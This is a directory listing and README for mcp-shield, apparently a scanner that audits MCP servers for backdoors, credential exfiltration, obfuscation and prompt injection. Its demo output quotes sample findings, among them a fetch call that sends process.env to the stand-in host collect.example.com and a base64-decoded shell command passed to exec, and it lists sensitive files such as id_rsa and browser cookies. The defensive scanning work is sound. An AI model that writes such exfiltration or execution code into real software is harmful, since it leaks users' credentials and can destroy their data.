Skip to main content
Glama

mcp-shield

一个用于 MCP 服务器的安全扫描器 —— 在后门、数据外泄、提示词注入和供应链风险到达您的 AI 之前将其检测出来。

MCP 生态系统正在快速增长。并非 npm 上的每个服务器都是安全的。mcp-shield 让 Claude 能够在您将文件、密钥和上下文交给 MCP 服务器之前,对其进行审计(无论是本地服务器还是来自 npm 的服务器)。


检测内容

类别

示例

数据外泄

通过网络发送 process.env,访问 SSH 密钥,读取 AWS 凭证

代码执行

eval(), new Function(), child_process.exec(), 动态 require()

混淆代码

Base64 运行时解码,十六进制编码的载荷,字符代码数组

敏感文件访问

.env, id_rsa, 浏览器 Cookie, ~/.gitconfig

提示词注入

隐藏指令,零宽字符,角色切换攻击,越狱模式

供应链

包的发布时间,下载量,维护者数量,依赖项中的 CVE


Related MCP server: mcpwatch

演示

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

工具

工具

功能

scan_package

下载 npm MCP 包并扫描其中的恶意模式

scan_directory

扫描本地 MCP 服务器目录(从 GitHub 克隆等)

check_prompt_injection

检查工具描述或响应中是否存在隐藏的注入

audit_supply_chain

获取任何 npm 包的信任评分、CVE、维护者数量和发布时间


安装

选项 1 — npx (无需安装)

claude mcp add mcp-shield -- npx mcp-shield

选项 2 — 全局安装

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

选项 3 — 手动配置

添加到 ~/.claude/claude_mcp_config.json:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

使用示例

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

工作原理

静态分析 — 使用包含 5 个类别中 20 多种攻击特征的正则表达式库扫描 JavaScript/TypeScript 源代码文件。

供应链审计 — 查询 npm 注册表以获取包元数据,然后运行 npm audit 以发现依赖树中已知的 CVE。

提示词注入检测 — 检查工具描述和响应中是否存在零宽字符、指令覆盖、角色切换攻击以及其他针对 LLM 的技术。

--ignore-scripts 安装 — 在扫描 npm 包时,使用 --ignore-scripts 进行安装,确保在分析过程中不会运行恶意的 postinstall 钩子。


贡献

欢迎提交 PR。检测模式位于 src/patterns.ts — 添加新的特征只需增加一个对象。

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

许可证

MIT

Available Tools

4 tools
audit_supply_chainB

Audit an npm package's supply chain health: publish date, weekly downloads, maintainer count, dependency count, and known CVEs. Returns a trust score from 0-100.

Inputs: package_name (required), version.

check_prompt_injectionA

Scan text (tool descriptions, tool responses, MCP server manifest content) for prompt injection attacks, hidden instructions, zero-width characters, jailbreak patterns, and instruction overrides.

Inputs: text (required), label.

scan_directoryA

Scan a local MCP server directory for backdoors, exfiltration code, obfuscation, and dangerous patterns. Use this for MCP servers installed locally or cloned from GitHub.

Inputs: path (required).

scan_packageA

Download an npm MCP server package and scan it for backdoors, exfiltration code, obfuscation, dangerous code execution, and supply chain risks. Returns a full security report with severity ratings.

Inputs: package_name (required), version.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

    TDQS

    A4/5.0

    Scored across 4 tools

    Disambiguation5/5

    Each tool has a clearly distinct purpose with no overlap: audit_supply_chain focuses on npm package health metrics, check_prompt_injection analyzes text for injection attacks, scan_directory examines local MCP server files, and scan_package downloads and analyzes npm packages. The four tools cover different security aspects without ambiguity.

    Naming Consistency5/5

    All tool names follow a consistent verb_noun pattern using snake_case: audit_supply_chain, check_prompt_injection, scan_directory, and scan_package. The naming is predictable and readable throughout the set.

    Tool Count5/5

    With 4 tools, this server is well-scoped for its security-focused purpose. Each tool earns its place by covering distinct security domains (supply chain auditing, prompt injection detection, local scanning, and package scanning), avoiding bloat while providing comprehensive coverage.

    Completeness5/5

    The tool set provides complete coverage for MCP server security assessment: it handles both local and remote sources (directories and npm packages), includes both static analysis (scanning) and dynamic checks (prompt injection), and covers supply chain risks. No obvious gaps exist for this domain.

    Maintenance

    ActivityInactive
    ResponsivenessNo recent community issues

    Related MCP Connectors

    Related MCP Servers

    • A
      license
      Not graded
      quality
      D
      maintenance
      MCP server that audits other MCP servers. Run MCPWatch security scans from inside Claude Code or any MCP-compatible agent with 10 OWASP MCP Top 10 aligned checks and A-F letter grades.
      MIT
    • A
      license
      Not graded
      quality
      D
      maintenance
      Diagnose MCP servers — health checks, tool testing, token cost audits, conflict detection, and security scanning with 50+ prompt injection patterns. Works as CLI or MCP server inside Claude Desktop.
      1
      MIT